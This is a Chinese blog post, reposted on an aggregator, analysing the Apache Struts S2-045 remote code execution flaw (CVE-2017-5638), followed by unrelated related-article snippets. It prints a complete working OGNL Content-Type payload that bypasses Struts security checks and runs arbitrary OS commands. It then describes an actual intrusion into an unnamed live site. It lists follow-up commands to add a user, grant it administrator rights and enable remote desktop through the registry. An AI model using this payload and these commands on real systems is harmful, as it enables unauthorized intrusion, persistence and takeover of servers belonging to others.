S2-045漏洞之简单分析+实战

news/2025/4/1 6:04:29/

##0X00 前言:
尽管s2-045的poc已经烂大街了,博主只是想学习了解一下它的用法,顺带写了一个测试小工具。

##0x01 漏洞简介
Apache Struts是一套用于创建企业级Java Web 应用的开源MVC框架 。
Apache Struts 2.3.5 – 2.3.31版本及2.5 – 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)。该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息。导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。
漏洞编号:S2-045
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

##0x02 简单的漏洞分析
由于当content-type中出现"multipart/form_data"时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta,通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。

##0x03 poc代码段
下面是一段网上的poc的header部分代码,主要分为三个部分
(1)用来触发文件漏洞,声明为文件上传

%{(#test='multipart/form-data')

(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])	.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))

(3)剩下的为调用CMD命令的代码,简单粗暴,首先判断操作系统,win下调用cmd,linux下调用bash。

.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds))
.(#p.redirectErrorStream(true))
.(#process=#p.start())
.(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
.(#ros.flush())}

##0x04实战
远程执行的杀伤力十分强大,基本上是想干什么都可以。
下面是博主对某站的实战渗透,过程非常的简单。
这是我们的目标

为了简单化演示,博主写了一个非常丑陋的界面,输入url和命令whoami,即会返回命令结果。
这里写图片描述
windows渗透命令:
查看端口 netstat -an
增加用户 net user username password /add
用户提权 net localgroup Administrators username
开启3389远程桌面:REG ADD HKLM、SYSTEM、CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 00000000 /f
之后远程登录即可。
这里写图片描述
或者上传shell,没有root权限则进行提权,之后还是想干嘛干嘛。

工具博主就不放啦,按照poc就能随随便便写出来了。
麻麻告诉我,有漏洞不要激动,要去通知管理员,于是博主帮管理员补好了漏洞。没错,博主就是这么棒!博主相信,好人一生平安~
这里写图片描述

友情提示:请不要使坏坏哦,会被警察蜀黍抓走的哟~


http://www.ppmy.cn/news/191819.html

相关文章

S2-016 远程代码执行漏洞

在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式…

openshift s2i 过程详解

1、概念介绍 openshift的s2i过程是把基础镜像和源代码结合,生成可以运行的applanation镜像的过程,先来明确两个概念, 1、builder image 包含编译环境的基础镜像,比如golang:1.8 2、runtime image 编译以后&#xff…

s2p标准格式

目录 s2p文件的格式dB和角度线性幅度和角度虚部和实部 举例:s2p文件导入后报错以及修改从snp文件看数据是否校准 射频电路的仿真与测量都会用到snp文件,比如网络分析仪的测量结果存储会存成snp文件,该文件可以导入到仿真软件中,进…

Google S2 常用操作

Google S2常用操作 Google S2包引用经纬度 转 CellIdCellId 转 经纬度S2计算距离经纬度构建任意形状经纬度构建S2矩形经纬度构建S2多边形经纬度构建圆形 任意形状内所有S2块判断点是否在任意形状内S2块包含的S2子块判断当前cellId的level Google S2 包引用 <dependency>…

16 声音检测算法的封装

概述 在IPC中,有时候需要对声音的大小进行检测。当声音的分贝数超过一定阈值时,一般会联动进行抓图、录像等动作。声音的采集与具体的芯片方案有关,但声音的检测与芯片方案关系不大,我们可以采用软件算法的方式来进行处理。 声音检测接口类 声音检测接口类主要包含以下七个…

教程:Deepin Linux v20操作系统查看cpu的温度

我们在使用windows系统时&#xff0c;会在电脑中止安装鲁大师等查看硬件信息的软件&#xff0c;查看一些我们关心的硬件信息&#xff0c;其中cpu温度就是我们比较关心的重要信息之一&#xff0c;在windows系统查看这些信息非常简单&#xff0c;安装相关软件就可以非常方便查看到…

cpu为何有两个温度?

主板给予的信息而已&#xff0c;一般看封装温度就好。封装温度不超过120度cpu老化速度赶不上你换的速度。&#xff08;前提不去极限超频或者长时间满载运行。 CPU的耐热还是没问题的。一般就算天天100度跑5到6个小时&#xff0c;至少要2到3年时间才能出现cpu算坏&#xff08;除…

内存cpu占用不高但mysql很卡_为什么cpu占用率不高,内存也不高,电脑会卡

展开全部 1、CPU负荷过大&#xff0c;或者工作不正常。32313133353236313431303231363533e58685e5aeb931333433626435检查CPU和显卡散热&#xff0c;除尘&#xff0c;上油&#xff0c;或更换风扇。 2、电源电压不稳&#xff0c;电源功率不足。更换质量高的功率大的电源。 3、显…